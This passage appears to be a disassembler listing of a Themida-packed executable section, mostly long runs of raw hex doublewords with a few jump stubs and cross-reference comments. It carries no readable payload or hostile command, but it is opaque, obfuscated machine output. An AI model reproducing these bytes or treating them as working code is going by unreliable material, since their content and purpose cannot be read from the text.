7F9AF6BFh, 99144011h, 0CE36E6E2h, 0F05B2E63h dd 677ABEBBh, 0E42B651Eh, 3C6A1D25h, 0E1947E0h, 0EC236A7Bh dd 0F41B742Dh, 8EC3ECBFh, 245B689Bh, 13C9C659h, 8DFF1A72h dd 0F7A4D82h, 56313950h, 5C47DF5Fh, 3A45DD32h, 2459B6D9h dd 0C1D9BE51h, 47DF5FCDh, 98061CDh, 22BCFE89h, 15Eh, 5B14B000h dd 3748DB34h, 0BE87BC53h, 410A3FD0h, 0C48DC24Dh, 491247C8h dd 0C295CA45h, 0E3F8E92Dh, 0BF2AB7A3h, 0F744CBh, 7E20787Fh dd 0A336D47Eh, 21E0C5CEh, 54E72868h, 7915CEE5h, 0F8986196h dd 0A40FE217h, 90C54A43h, 34CA2ABDh, 1349F1FEh, 0B5DBACB4h dd 49A84DF1h, 0F1B54641h, 0BF2A354Dh, 3FF81F54h, 0BA8DC24Dh dd 97781627h, 32DDB14Ah, 0B5A8E5FDh, 9EE24DF1h, 0D5E6A843h dd 0F1B5BACDh, 53BEC94Dh, 0EE216D06h, 951192B9h, 0FCB461B0h dd 218C830Ah, 0FE117D8Eh, 7B66EAC9h, 0DE315912h, 3243D6A9h dd 7166B35Ch, 24AE5D11h, 121C6h, 8256D700h, 0DB0C74CCh dd 0AEE715A8h, 0EA01C0A5h, 523EA469h, 53E6B9CEh, 0F1D72FF3h dd 0BEF3FE49h, 0B77699F5h, 4E838CFEh, 52EBE87Bh, 0D59ED33Ch dd 8DFA02B9h, 0EE4DF1D8h, 0AC654A25h, 0A61136A3h, 90C54A45h dd 3E1D52BDh, 0D2BC27BAh, 3CA6E1E9h, 0CAD54DF2h, 41B125Fh dd 1ACA454Bh, 4DF23C6Dh, 370030Eh, 24AE2383h, 4958h, 0A4AEAA00h dd 6FF800BFh, 8CC7DF5Fh, 53344C81h, 6BC7DF5Eh, 0E0612AB7h dd 0ED9F131Fh, 9E0DF922h, 353F14A7h, 71DC335Ah, 0A3BDAAB2h dd 0DE9747DEh, 0EC236CADh, 0E6794C81h, 0AF46939Eh, 76h dd 0EE6B57D8h, 0A96AA8Bh, 0A5AE4977h, 55F901C0h, 8949F181h dd 0E7790F08h, 0B346836Eh, 0E8A1606Bh, 613469A6h, 6E20E9CEh dd 0D3BB54A1h, 9DEF073Ch, 934DF188h, 3757924Fh, 252E8BD8h dd 55798140h, 0B05008DAh, 0DA3E4951h, 323D47EAh, 0B26B92C7h dd 90A134DBh, 0C03253FEh, 3BE679C4h, 0ED13747Ch, 657047EAh dd 311DC5FAh, 796871B0h, 3D1CB2BAh, 606B4A02h, 0FD145D13h dd 0DF5F92F5h, 53E6F147h, 0D190757Eh, 0F6B005C9h, 0C0F50049h dd 0B97897F7h, 0F6B10038h, 0E8A7E317h, 2C29BC27h, 5514FB93h dd 0E851363Eh, 27324DF8h, 0C997AF94h, 9EE7C75Bh, 28C578Ah dd 6727C00Dh, 553B4C54h, 3D48A057h, 629213D2h, 0FEB894DEh dd 5D8469FCh, 5932E7A4h, 43164BB6h, 1FF09FB0h, 7A3342EAh dd 1B67FA15h, 9C731BC6h, 37D8B64Fh, 0BCC4DB02h, 0A05704CBh dd 3BD4B7B8h, 9C83306h, 57048601h, 57EAF5A0h, 348h, 3422B200h dd 0BBF01F72h, 3E739CF2h, 0BFF41B75h, 457A95F6h, 0C9FE117Ch dd 4D828D00h, 0CF040B84h, 568B8406h, 0DB10FF8Dh, 7BC868D4h dd 4890000h, 0B7E6824h, 34890000h, 0E6895624h, 4C681h dd 0EE830000h, 24348704h, 241C895Ch, 19504A68h, 24348B06h dd 5404C483h, 83241C8Bh, 0EC8104C4h, 4, 8F243489h, 1C8B0843h dd 0E1895124h, 4C181h, 0C1810000h, 4, 5C240C87h, 5E2434FFh dd 4C481h, 92E90000h, 1BFFF92Bh, 14622C3h, 7B88C80h, 3061955h dd 0D1E0FFC5h, 0D57CDDCEh, 0CB6570D9h, 0CB2CC153h, 0B1104D71h dd 0F74A10Bh, 0D727BDA3h, 86129ED1h, 0CB7AA4D8h, 22255CC0h dd 3E5D9E98h, 9C52FB61h, 2C22CBAFh, 0D172EEA1h, 7F7B6BECh dd 0DA578A73h, 931CF58Ch, 0FD4E7C14h, 564F2EFh, 8D69C015h dd 1956828Dh, 46D78106h, 0F96B7FF9h, 2DCD8D89h, 6A0612h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h dd 0DA8DBAC3h, 27D97379h, 0C773C204h, 1231BD85h, 6CEC06h dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h dd 0C3514100h, 7793D43Dh, 0C7F50F91h, 12001185h, 6, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h, 0C3504000h dd 0F0125F74h, 0B48032E3h, 0A5B5FF74h, 0E9061229h, 0Ah dd 595AF29Fh dd 59783F6Eh, 95FFCCFCh, 6122781h, 8AD1B70Fh, 0FF006ADAh dd 1229D195h, 0EBC08B06h, 94AD295Ch, 140C4E68h, 0C999F4FFh dd 29795056h, 37E7AC31h, 88E994ECh, 0A69C1839h, 859DF1CEh dd 6D96080h, 9DFC98A7h, 0DBBD9022h, 0CCD36315h, 59CBB35Ch dd 0F186BD9Dh, 692BB5C5h, 4979305Bh, 539D5F25h, 42E568F1h dd 0F63EBC7Ch, 2A8D0AE9h, 4B8516FDh, 546A8DCAh, 87F8CB84h dd 0EE8D6h, 7AB80000h, 3039309Bh, 93612477h, 0F2767772h dd 8FA7CDBAh, 8B665868h, 0E5C081D7h, 81000061h, 2F711CDAh dd 18506806h, 8D010000h, 61215D5h, 7E85Eh, 9EE90000h, 3084ABFCh dd 0BE950E8h, 53000000h, 0CC1CDF00h, 0AA9EAF57h, 595AFD7Fh dd 816630FFh, 5FE620EAh, 473EF281h, 0C7817E68h, 2C65C13Ch dd 38F0Fh, 0E7800000h, 5FC781ADh, 665CA232h, 0D0D0EA81h dd 9C6AC781h, 8E9528Ch, 0E9000000h, 0A4B813FDh, 893A3D33h dd 0E18D3338h, 83061221h, 0C28004E8h, 1EE8122h, 0F000000h dd 0FFFFAB85h, 0E18531FFh, 0E8061203h, 0Eh, 15E8E865h dd 0B9CFAD92h, 1D8C9BB6h, 8B5733A1h, 1226DDBDh, 0F595F06h dd 0C181F1BFh, 631Eh, 189B68F9h, 8B500000h, 1230F5B5h dd 66585A06h, 19E8DF81h, 9D89198Bh, 61211D9h, 7C53C381h dd 0BD01788Fh, 61224A9h, 8EDCC381h, 81661290h, 810ABAD2h dd 96773AC3h, 0CE913h, 79100000h, 0E0D2A969h, 383034CAh dd 19893A69h, 1C65BD89h, 0E9810612h, 4FCBA5C9h, 81F18B66h dd 0CBA5C5C1h, 195314Fh, 8306121Dh, 850F01E8h, 18h, 1479958Bh dd 1BE90612h, 0D2000000h, 0BFFD9D19h, 8AEC0D4Fh, 0C500B961h dd 0E9D6B70Fh, 0FFFFFF84h, 32394290h, 0CAFEB9AEh, 0A80EB614h dd 8A4A3EEBh, 0A80EB753h, 75EAD5ABh, 0A80EB72Bh, 8A4A3F91h dd 57AE5DBAh, 8A4A3C4Eh, 0A80EB41Bh, 75EAD5ABh, 0A80EB4E2h dd 8A4A3CBCh, 0A80EB56Ch, 8A4A3D3Eh, 0A80EB5E6h, 75EAD5ABh dd 0DFD42F25h, 313330Dh, 0B109ECC0h, 6F90A752h, 2157BB1Ch dd 934D78D1h, 94D42F43h, 313330Eh, 0B109F4C0h, 1E90A752h dd 2157BB1Fh, 934D74D1h, 43D42F43h, 313330Eh, 0B109C0C0h dd 0CA90A752h, 2157BB1Eh, 934D40D1h, 2CD42F43h, 313330Fh dd 0B109CCC0h, 4790A752h, 2157BB1Eh, 934D5CD1h, 0A6D42F43h dd 3133308h, 0B109D8C0h, 0C590A752h, 2157BB19h, 934D54D1h dd 38D42F43h, 3133308h, 0B10920C0h, 4390A752h, 2157BB19h dd 934DACD1h, 12B8C343h, 0DF152A50h, 6CD24ECEh, 8AFD4AA8h dd 0F251A245h, 0D324C0D5h, 0ED96A45Ch, 8A152AA8h, 0A0242945h dd 0B496E367h, 0A1D5ADBAh, 0CB152A54h, 415564C6h, 75EAD5BAh dd 3AAE63CEh, 8C070CB1h, 0AB534284h, 0FFEA2211h, 0A4245D55h dd 0CF9C3AABh, 0EDDAC3B9h, 86D7E3A8h, 44DAF745h, 0EAE9EED7h dd 2359D7CEh, 0CFD22629h, 0A851A2B9h, 62AD6C54h, 351A241h dd 27BFEA66h, 0B7DB2FEEh, 75133369h, 2011294h, 0B70AA0D9h dd 79AEA45Ch, 0AE51A1ECh, 22DC0941h, 8C0C174Bh, 103773BAh dd 21732ADFh, 954E28C8h, 5BEA2C4Dh, 8C152BFDh, 988150h dd 0AE489F5Ah, 0D2A5FBABh, 0A42C89EFh, 0EBE957DDh, 61ADE7CEh dd 0DF152296h, 6CD24ECEh, 8AFD4AA8h, 0F251A245h, 0D3E4C0D5h dd 0DDDAA45Ch, 8668A15Ch, 0A8ADE782h, 0CC152A54h, 0BDA830BAh dd 529E2C46h, 83FC69CEh, 0E2A5B997h, 0F9FA31EFh, 0B70AA0D9h dd 79AEA45Ch, 20949A0Dh, 8C551A23h, 21848132h, 215DDF6Eh dd 174D629h, 6A985E00h, 1402A5Ch, 549521A9h, 8A15C234h dd 290BA245h, 934F62BEh, 0A0242943h, 4D1957DFh, 0A8515E00h dd 75532A54h, 0BA445BD7h, 19CDA152h, 9BFC69CEh, 0E2A5B997h dd 0F9FA31EFh, 0B70AA0D9h, 79AEA45Ch, 20949A0Dh, 8C651A23h dd 21848132h, 215DDF6Eh, 174D629h, 6A985E00h, 1402A5Ch dd 549521A9h, 8260A134h, 6F5DDFCEh, 8A15D611h, 3BFDA245h dd 0B91DC995h, 4919197h, 4A38F2DEh, 2851A245h, 0E1AD5A8h dd 0A851A25Eh, 8A1523EDh, 2DA05545h, 86902586h, 2851A245h dd 4B7332A3h, 2337AA8Eh, 0A1BE4C97h, 0D5D8AE38h, 0CF9E4BA8h dd 0A0936BB9h, 669E7F54h, 0C8AD66C6h, 11D5FDFh, 0ED96AE38h dd 8A152AA8h, 69C20E45h, 582622B7h, 22FD6276h, 8AD5078Ch dd 54D1A245h, 939125ABh, 1151A245h, 8A152A5Dh, 7AD453B2h dd 8A1FAF5Bh, 10E0A245h, 4B93E256h, 39191EFh, 319577Fh dd 23305E38h, 48DCD611h, 2304A24Dh, 76D1A9B8h, 0A0242925h dd 4D1957DFh, 0A8515E00h, 0B92A54h, 0A7B2229Dh, 85E1D4h dd 22DC0886h, 8C0C174Bh, 0F8E173BAh, 959FA7FEh, 5757BB78h dd 20D6A085h, 215DDF6Eh, 174D629h, 6A985E00h, 1402A5Ch dd 549521A9h, 8260A134h, 6F5DDFCEh, 8A15D611h, 0AFE9A245h dd 75152A54h, 0BA7747D7h, 20452652h, 954E28C8h, 5BEA2C4Dh dd 9BFB2BF5h, 85318694h, 0AC59622Eh, 0AEA58050h, 0A42C89EFh dd 0EBE957DDh, 61ADE7CEh, 0DF152296h, 6CD24ECEh, 0FF9E4AA8h dd 0A42C294Dh, 8AE96F93h, 451A245h, 7387D5FEh, 2357B050h dd 4917868Ch, 0B7DB2FEFh, 75133369h, 28E9C494h, 0BE4CBDh dd 0D57A0886h, 7668A358h, 54142924h, 8A1DE89Dh, 2BBD2910h dd 175D690h, 0D5DAAA30h, 7650ED58h, 0A851A245h, 18EA80F8h dd 0AE43B7BCh, 58B9E2DFh, 32DC0885h, 8C0C174Bh, 103771BAh dd 2173E394h, 83FB63CFh, 0F79C2629h, 0EDDAC3B9h, 82D7E3A8h dd 44DAF745h, 0EAE9EED7h, 2359D7CEh, 0CFD22629h, 0A851A2B9h dd 75BF8654h, 0BA445BD7h, 26DDA152h, 25FB6377h, 932835CEh dd 0CE825D43h, 0ECE4AAECh, 29028EEh, 319577Fh, 23305E38h dd 48DCD611h, 2304A24Dh, 76D1A9B8h, 0A0242925h, 4D1957DFh dd 0A8515E00h, 32732A54h, 3376B77h, 0B70AB0D9h, 7BAEA45Ch dd 4B959232h, 4FD0923h, 866801FEh, 0C9ADDFCCh, 43E96FDFh dd 0FD51AA87h, 4E96C6DFh, 0DDDAC2B9h, 8668A15Ch, 0A8ADE782h dd 0EC152A54h, 0CEB824FDh, 958FA7FFh, 5757BB78h, 20A09A87h dd 25FB0E03h, 932835CEh, 0CE825D43h, 0ECD8ACECh, 0A42C89EEh dd 0EBE957DDh, 61ADE7CEh, 0DF152296h, 6CD24ECEh, 8AFD4AA8h dd 0F251A245h, 0D70CC0D5h, 0ED96A45Ch, 8A152AA8h, 0A0242945h dd 261957DFh, 2C5E9179h, 8A152A1Eh, 2C5E8979h, 8A152A16h dd 2C5ECA79h, 8A152A49h, 2C5E1379h, 8A152A38h, 2A5EF279h dd 8A152A5Ch, 2A5EFA79h, 8A152A6Bh, 0A851D6ACh, 8660D554h dd 2559D7BAh, 934D64CEh, 32DCF143h, 8C0C7371h, 0EDD871BAh dd 8A42C3A8h, 0DDAEA245h, 8260D558h, 0F00F38C8h, 7462C4Dh dd 0B10887DFh, 3C6D552h, 92B85E00h, 75152A54h, 0DDAEAE30h dd 0E08FA75Ch, 0FB57BB1Dh, 0D330B0D9h, 7BAEA45Ch, 63E96FDDh dd 0A851A258h, 75195FABh, 32DCAA30h, 8C0C7222h, 8DCB2F16h dd 7513330Dh, 54142B96h, 8A152ABDh, 0EDDAC345h, 82D7E3A8h dd 3044BA45h, 9D8D0000h, 6123459h, 23E4B8h, 1858900h, 0E8061223h dd 0 ; --------------------------------------------------------------------------- pop eax add eax, 0Dh mov [ebx], eax jmp loc_5F3CC5 ; --------------------------------------------------------------------------- align 4 dd 8F8h dup(0) db 0 ; --------------------------------------------------------------------------- loc_5F3CC5: ; CODE XREF: Themida_:005F18DCj jmp loc_5F3CF4 ; --------------------------------------------------------------------------- dw 840Dh dd 310Fh, 9 dup(0) ; --------------------------------------------------------------------------- loc_5F3CF4: ; CODE XREF: Themida_:loc_5F3CC5j jmp loc_5F4A5F ; --------------------------------------------------------------------------- push 61983E9h jmp loc_583BD9 ; --------------------------------------------------------------------------- push 61984D6h jmp loc_583BD9 ; --------------------------------------------------------------------------- push 61985AAh jmp loc_583BD9 ; --------------------------------------------------------------------------- push 6198665h jmp loc_583BD9 ; --------------------------------------------------------------------------- push 6198A0Eh jmp loc_583BD9 ; --------------------------------------------------------------------------- push 6198CBAh jmp loc_583BD9 ; --------------------------------------------------------------------------- push 6198DB6h jmp loc_583BD9 ; --------------------------------------------------------------------------- db 0Dh dd 0A53E8B84h, 42DB28E7h, 0E17AC748h, 7B1461AEh, 0C0B0FD12h dd 7B94F9F5h, 19F6952Eh, 0B25D33CCh, 4DC2CC65h, 0CFD72600h dd 4DF8E1B8h, 7218EECBh, 0F6BFF41Bh, 0CB28759Ah, 0FD14D3C2h dd 69714A44h, 47DF601Eh, 54E7525Dh, 0F18FBEF4h, 0A3ABC249h dd 4DF18FE4h, 0B1F98C97h, 325971A6h, 0C14DF190h, 7D553CA5h dd 0AA24AED2h, 32h, 0C0A5AEFCh, 20F38001h, 0BCFEF803h dd 0F0B2BA29h, 0BF49F231h, 0D7587FB4h, 29B7FE3Fh, 98F88B38h dd 4DF23DF3h, 96FDE400h, 24AE203Eh, 7EBh, 8E743D00h, 0DE000008h dd 0BEF31C72h, 0B77699F5h, 5FEF98A0h, 818C47DFh, 8B94F1EEh dd 0AFDFE7A6h, 0D649F18Ch, 0C3C0330Dh, 2590A224h, 0A7B3D8F0h dd 89074DF1h, 4885186h, 95D9D60Bh, 536F974Ch, 0AA9FF78Eh dd 324C24AEh, 5D000000h, 60272F46h, 234DF1AFh, 0B01F6818h dd 515C4DF1h, 0A5AE90BEh, 0CDF901C0h, 3849F17Eh, 0ABE0F82Dh dd 484DF180h, 0E6DEB52Ch, 3324AEDFh, 0A4h, 0F31C7285h dd 7798F5BEh, 0FA157942h, 7D92FCC5h, 5B234830h, 375747DFh dd 0DB948BD8h, 0B7C85BB4h, 760338D7h, 0C1C9886Dh, 49F16519h dd 352C7984h, 0B5F941B4h, 720515AFh, 0EEAD949Dh, 0CFB8C0D7h dd 0AC4DF21Bh, 0D8AE0EA1h, 9F5004BEh, 711CD594h, 435A519Eh dd 0E5704C3Bh, 91242F47h, 83020D80h, 0EDBFC667h, 7F46EBh dd 8900000Bh, 21BA0708h, 0BE57A46Bh, 5DF643CCh, 0F790DD32h dd 3C2C7996h, 0F7187579h db 0AAh, 11h, 7Ah byte_5F3EDF db 95h ; DATA XREF: Themida_:loc_5A4DCCo dword_5F3EE0 dd 2EE1AF48h, 0C94648E1h, 4B53A27Ch, 4DF8E33Ch, 728C623Fh ; DATA XREF: Themida_:00595F27o dd 0EA7F41Bh, 8C428F80h, 1C0A5AEh, 0F17ECDF9h, 6E2D3849h dd 0B976DBB5h, 0C1BD3D45h, 8E578CF7h, 46A712FDh, 4D32C54Ah dd 0F1C75635h, 60819D4Dh, 0AE96A929h, 38581124h, 0B64244D7h dd 94000000h, 34F31C72h, 0F069C1Dh, 0F9D9BBF0h, 0DFE03E49h dd 9F323D47h, 7D9CF1BAh, 5C91FC13h, 0DFDB2744h, 0D43B5347h dd 6FA0EE87h, 69A4AD3Ah, 0DFE42661h, 0DF4A5547h, 86010920h dd 0F547DFE3h, 0C082C1EAh, 36757E74h, 0AE2C34A3h, 1949F17Ch dd 76D5B2BAh, 9BA64DF1h, 7D86E330h, 0C2D1D998h, 0B1500418h dd 5F2EE7A6h, 0C3CA63B0h, 0DAF11C8Eh, 0B31E9396h, 0BFED2E34h dd 581FC4EDh, 0A13h, 0CD1AF59Ch, 6AB75834h, 956B9D1h, 0A3F01F70h dd 3F8C830Ah, 588664Fh, 6724BD0Ah, 0CEC25BA8h, 335BF441h dd 66B58FDCh, 0F8E4295Eh, 0A77D5A4Dh, 0A7F41B72h, 428F800Eh dd 0F31C728Ch, 7699F5BEh, 9A1B3229h, 5D0114F5h, 0E0A757BEh dd 0A347DFC4h, 371D0598h, 0C180656Eh, 0F1DA95B9h, 8991F049h dd 4DF1CFFEh, 0A038D7B4h, 0F9D92A95h, 0B414FE73h, 62211019h dd 0F82DE2A9h, 1B239225h, 0F9C8CE73h, 0DCABB312h, 0EF1A4D0h dd 0A9925464h, 68730BACh, 9853EFDh, 8608D106h, 16815489h dd 8119E83h, 5548A15Bh, 57C251F2h, 0D2859098h, 6772F3B8h dd 709FEFA8h, 26AB2C23h, 0A3F9D05Ch, 331781FDh, 44D2700Ah dd 21EEA0B1h, 69AE6AA2h, 7C43E842h, 93Fh, 0F946C9C8h, 96E32C60h dd 35828DFDh, 0CF1CF39Ch, 6BB85736h, 0D9B43A7Bh, 3B50E936h dd 0A2EE87D4h, 787206Dh, 92E1BB08h, 0F8E4FD8Ah, 0CBA17E4Dh dd 34F31C72h, 5F72151Dh, 481147DFh, 45DE4D18h, 71046F80h dd 0FF6FF8Ch, 0CA3CCF50h, 6A6A4ABAh, 726068D7h, 5D49F197h dd 0B0DA9352h, 0C4572A5Fh, 5DF49C55h, 0A1DC8E1Ah, 5BA813FBh dd 424BCEC2h, 9050660Fh, 0C8335F81h, 0F901C093h, 4DF1658Eh dd 4277E2EDh, 0F1655D2Ah, 7585064Dh, 68714DF1h, 22A3BA79h dd 0B869518Dh, 969FC33h, 500455E5h, 79A0D5E0h, 6AC38CF8h dd 20B31D01h, 11907F0Fh, 0EDB914F7h, 840FD67Bh, 0D000008h dd 0A53E8B84h, 42DB28E7h, 0E17AC748h, 7B1461AEh, 0C0B0FD12h dd 7B94F9F5h, 19F6952Eh, 0B25D33CCh, 4DC2CC65h, 0CFD72600h dd 4DF8E5B8h, 1418EECBh, 0A8DD325Bh, 646D42D5h, 3200C4BFh dd 59C47EF0h, 0A15C929Ah, 8B4449F1h, 97781405h, 91248F62h dd 0E2093E49h, 74A96629h, 8FFD0EA1h, 833C3380h, 5E6F020Dh dd 1FACE12Eh, 0B9CED613h, 0CA4DF160h, 8D9554BFh, 4DF16142h dd 0C6F5E8B1h, 0CF36E501h, 9B872F64h, 0A843D46h, 29E6A405h dd 7D8E21F4h, 89860A0Fh, 57168154h, 0E91EF19Eh, 9E868316h dd 4DF23CEDh, 5918FD09h, 0F23D5251h, 0C813A4Dh, 1D287003h dd 0BA5537D0h, 3C266D85h, 46444DF2h, 0BFCB94C9h, 0ECF41B50h dd 4DF23C9Bh, 0B19DDDE8h, 5C6BAB30h, 0ED22EDA3h, 0A63B871Ah dd 0C5C8513Bh, 1DE7D98Ch, 0AC17F99Dh, 0EC39A477h, 0AAE03953h dd 0A59951A7h, 0C9342B80h, 2156C194h, 0F231F209h, 8788084Dh dd 9068952h, 4E93D7D4h, 0DD12FD93h, 735F9F0Ah, 0F619736Eh dd 939BB2A9h, 4DF231F4h, 322F5860h, 414C4DF2h, 360B9EA9h dd 7A82412Ah, 4DF23214h, 1B336873h, 0E1D18DCBh, 0FA934E6Ah dd 91C64941h, 0C6BE2BBEh, 0A650CF54h, 0D96CA3EDh, 1DCD7h dd 0A5AE2900h, 0E2EA01C0h, 47DF5FA5h, 0C938CBD6h, 0F17151C1h dd 2E5C1549h, 0FB064EE1h, 0B00B833Ch, 0F17ADFA8h, 4ED39C4Dh dd 747FA85Dh, 125FCA35h, 0C5FA1579h, 961C40ADh, 430E7ECEh dd 0C52514D1h, 4F84EF9Bh, 0D0050A86h, 0ECA53C28h, 33A1A3E4h dd 6AD5E0C9h, 0D0B9283Ch, 63987717h, 0A2ECFD90h, 787206Dh dd 3A46D308h, 9A119251h, 1B415C0Dh, 0ECE3E073h, 24B75833h dd 0D4937C13h, 20D2B5BDh, 0E8B1C934h, 3F820274h, 770A75A0h dd 4AC5C992h, 53BCD28Bh, 0BBB84B1Eh, 0E4A36C22h, 76AB642Bh dd 516DA5E5h, 147FC035h, 0F9849C81h, 38569C7Bh, 53D4BD24h dd 0CEBE6738h, 785E6F2h, 6D00D308h, 90DD325Ch, 437897F7h dd 2C1AAB6h, 0BDF88DFAh, 0E246C73Bh, 189414E1h, 3A458D20h dd 513DF6EDh, 731A2BBEh, 0BEC6DD9Ch, 3BBE1EC9h, 371CAFBAh dd 0F6B59EAAh, 8CC14E3Dh, 0AFB726B9h, 3BBE1ED4h, 1CD5949Fh dd 0F0C9F70h, 0DE315F18h, 0FD543A4Bh, 0F868C38Eh, 6E54FE90h dd 0ACD108A2h, 5E17D641h, 0D8ABE02Fh, 0B8396045h, 9F58769Eh dd 718215E0h, 7F90FD1Ch, 4B37DF14h, 0CC434B96h, 67A8E67Fh dd 7A9FEFA8h, 5D92FD12h, 8512F78Ah, 0CDD59479h, 3BBDE6F2h dd 0D069B6C1h, 531C51BEh, 0D89DD23Dh, 5C32BD24h, 24DDF4B3h dd 92F5A56Ah, 603BBDE6h, 4DDCDF1Ah, 0C4CF67F6h, 53E62963h dd 3ED1BD56h, 8B707C09h, 0FCF7C4CCh, 0CBCC3BBDh, 858D4CC3h dd 3BBDFD02h, 0BE0B7681h, 6FA46B25h, 2EEDD6E2h, 0FC780F17h dd 49423BBDh, 26BE91C6h, 1119881Bh, 3BBDFCA6h, 0B8916DEEh dd 0BEC0C7CFh, 0B8C33BBDh, 275F8D8Fh, 444B4C94h, 9C7E5A0Dh dd 5FCA61EAh, 9098572Ah, 3BBD67F7h, 0C10E7984h, 0F31C720Bh dd 514049A6h, 5CB3D992h, 7C525AC9h, 8B49F178h, 0F1AAC180h dd 6D40759Ah, 0FFCBF744h, 0BB4E2E66h, 0DC29E6AAh, 8DC24D43h dd 4B0AF700h, 45B8F43h, 0BEF3FE50h, 67B2DE97h, 467BE629h dd 0B80E073h, 5147E06Ch, 0DC1AE2D0h, 7D355EB1h, 0CFA43752h dd 920DFC6h, 589DEAF2h, 0D3DE47E0h, 750EE040h, 2E3949F2h dd 0B15E30F9h, 0AB0A0E32h, 783FE4EBh, 4DBh, 95E22D64h dd 327F90FCh, 0D11EF199h, 6BB85738h, 754BBD2h, 3D509E17h dd 9FEC85D2h, 68A2370h, 6B23BC09h, 2E7D57A4h, 0F8E96126h dd 6F45224Dh, 1C0A5AEh, 0F16C6DF9h, 588D9849h, 0F16D4E40h dd 548DA94Dh, 0AEEC453Dh, 60E2524h, 4DF17581h, 9BAC3902h dd 32D8824Ah, 793234C7h, 84000000h, 0DF5FB823h, 0E4955847h dd 0BB1865AAh, 0FD05C4B1h, 47DF5FC2h, 441B28F1h, 0FF9DB5DBh dd 0F8965F94h, 636DCA17h, 8B7BF7Eh, 0BB47DFA4h, 0DCB27BB0h dd 555D7433h, 47DFA432h, 0A365222Ah, 0B1647DFh, 0F6197273h dd 0F083EEC1h, 0A78C96F3h, 0A3CBE0E8h, 0EDF847DFh, 914FAD2Eh dd 0A61C0EA7h, 75162E13h, 6647E061h, 0AEB8677Ah, 0B1FA02C1h dd 0D247DFE1h, 0B2E37AC7h, 4D000000h, 1C0A5AEh, 0F17BF5F9h dd 0D0051049h, 3E8B8407h, 2EEDD4E1h, 0F2C204ADh, 0B9EF116h dd 666E859Ch, 4DF1F721h, 64C45762h, 4DF1F71Fh, 0C245964h dd 4DF1F680h, 711AC7E3h, 0A93CD3B8h, 518A443Ch, 6B91DBh dd 0AEE30000h, 44FDBCA1h, 0C433C649h, 0DF5FCBBCh, 0EEADB847h dd 82B75835h, 6E371CAFh, 7F90FC1Dh, 0BF0C774Ah, 0F70747C8h dd 861138EFh, 3D9E0906h, 552ABD52h, 9AA26148h, 47E01761h dd 0E728621Bh, 16672028h, 91447E0h, 0EE232E76h, 0E056B5D6h dd 0A73A2647h, 0C7866B78h, 7B94F7B0h, 80E07346h, 47E0577Bh dd 4BC4C881h, 186570B8h, 0F31C7262h, 72151D34h, 1147DF5Fh dd 76B08048h, 46B1D203h, 8905CEB3h, 89423986h, 937C1306h dd 8D20F328h, 3C2AFB8h, 0F20493FBh, 28E7F249h, 0D09526A7h dd 0D467534Dh, 59B4D7EFh, 233F4DF2h, 18CFC7BEh, 2F1C24AEh dd 6E000000h, 1C0A5AEh, 0F17ECDF9h, 33581149h, 0F60149DCh dd 6F182037h, 0C4DF180h, 71896E01h, 4DF1811Ah, 6D24BDD9h dd 24AEDF15h, 0F0C2h, 1C721400h, 151D34F3h, 47DF5F72h dd 0DDAAB211h, 9E47DF5Fh, 0B0952893h, 1C73A6E7h, 80EBBEF3h dd 30C824Bh, 62252D44h, 2147DF5Fh, 0D59E8316h, 120956B9h dd 0EBAA0B91h, 9427CB8Dh, 0DFCC3734h, 460B8347h, 4742DCB4h dd 0B5026D4Fh, 689D721Ch, 24E3D2DBh, 0F24D3A1Ch, 51F57649h dd 0E2F7A516h, 0DF305CBDh, 0FC44D7AAh, 3E47A4F1h, 6A819857h dd 0F1E92562h, 0B84B564Dh, 48CC358h, 0D695A050h, 529F701Dh dd 58B445Bh, 5202D50Ah, 47E58435h, 0CC202AB5h, 680016B4h dd 7FEA2567h, 5DB2DBECh, 0BF6A4CDEh, 1AE186EDh, 22Fh, 0E936D9B8h dd 86D33C50h, 25729DEDh, 0BF0C038Ch, 5BA86726h, 0E9A44A6Bh dd 4B40D926h, 0B2DE77C4h, 1777105Dh, 82D1ABF8h, 0F8EC0D7Ah dd 0BB916E4Dh, 0A7F41B72h, 428F800Eh, 57FA924Bh, 50D49F22h dd 66F964FEh, 0F5FD1438h, 47DF5F92h, 0FD8A92F1h, 7E47DF5Fh dd 0A0750873h, 0E3EBAA97h, 49F17EE3h, 957A1112h, 0DDB26B2Ah dd 972AFD32h, 80F19AB2h, 0E6024DF1h, 0DF3C94FBh, 0C37C24AEh dd 0B0B245CAh, 0CDh, 8D8208C1h, 1C72CCFAh, 98F5BEF3h, 0B737B877h dd 2D913FB6h, 84AB9023h, 36D9B46Dh, 0E0340186h, 0E4778247h dd 0E02EE784h, 947B1347h, 2FE0AE47h, 7D646DFAh, 28A0B6BEh dd 0FC0749F2h, 70F263Dh, 4DF23180h, 3F48F803h, 734DF232h dd 0EDC0F51Ah, 0BAB74A55h, 0AE6D545Dh, 4D418A6h, 0E5A4AF50h dd 19AC632Ch, 739CF1AAh, 0F008D26h, 0BFAF9090h, 763DE2EDh dd 133h, 0ED3AD5BCh, 8AD73854h, 297699F1h, 0C310FF90h dd 5FAC632Ah, 0E5A8466Fh, 4744DD2Ah, 0AEE27BC8h, 137B1461h dd 86D5AFFCh, 0F8ED097Eh, 0C79D7A4Dh, 92F5FD14h, 0F147DF5Fh dd 6719EF0h, 0E42B6273h, 81060E25h, 247DF5Fh, 4C818E01h dd 7E7B0E79h, 1966A9E5h, 315B1463h, 43D6A9DEh, 0CFBD5C32h dd 5FCA454Ah, 0DF98BFF4h, 5C2F64ABh, 39D6B8C9h, 9F868FECh dd 8010C9E0h, 0FF9CFC8Fh, 0E449F6D9h, 0B3DBA4D9h, 18760F5Ch dd 1266E439h, 13AAA04Ch, 7D78A11Dh, 0B7D637C0h, 0E5502358h dd 0CB0498B0h, 622E1F0Eh, 9BE778ADh, 87E65B97h, 9E1D6DCEh dd 0EE8DF196h, 1C879278h, 8E533FE7h, 3898BE8Bh, 38A32B11h dd 721AD30Ah, 295689Dh, 0CEC02BB6h, 0B65934EDh, 89FEAE81h dd 0FA78EF30h, 9E3784EFh, 21EA1FF0h, 4568E36Eh, 0B4A9008Eh dd 806C1449h, 49088661h, 0D1D97B87h, 78EE81B6h, 0FA91BAC5h dd 295E6651h, 5A78EF58h, 2C79E44Fh, 0F7C35h, 0F397F8CBh dd 8114E71Ch, 0BCF11E70h, 12F5h, 0FD145F00h, 0DF5F92F5h dd 85E6F147h, 0FED10609h, 721C0A6Bh, 0F2BBF01Fh, 753E739Ch dd 0F6BFF41Bh, 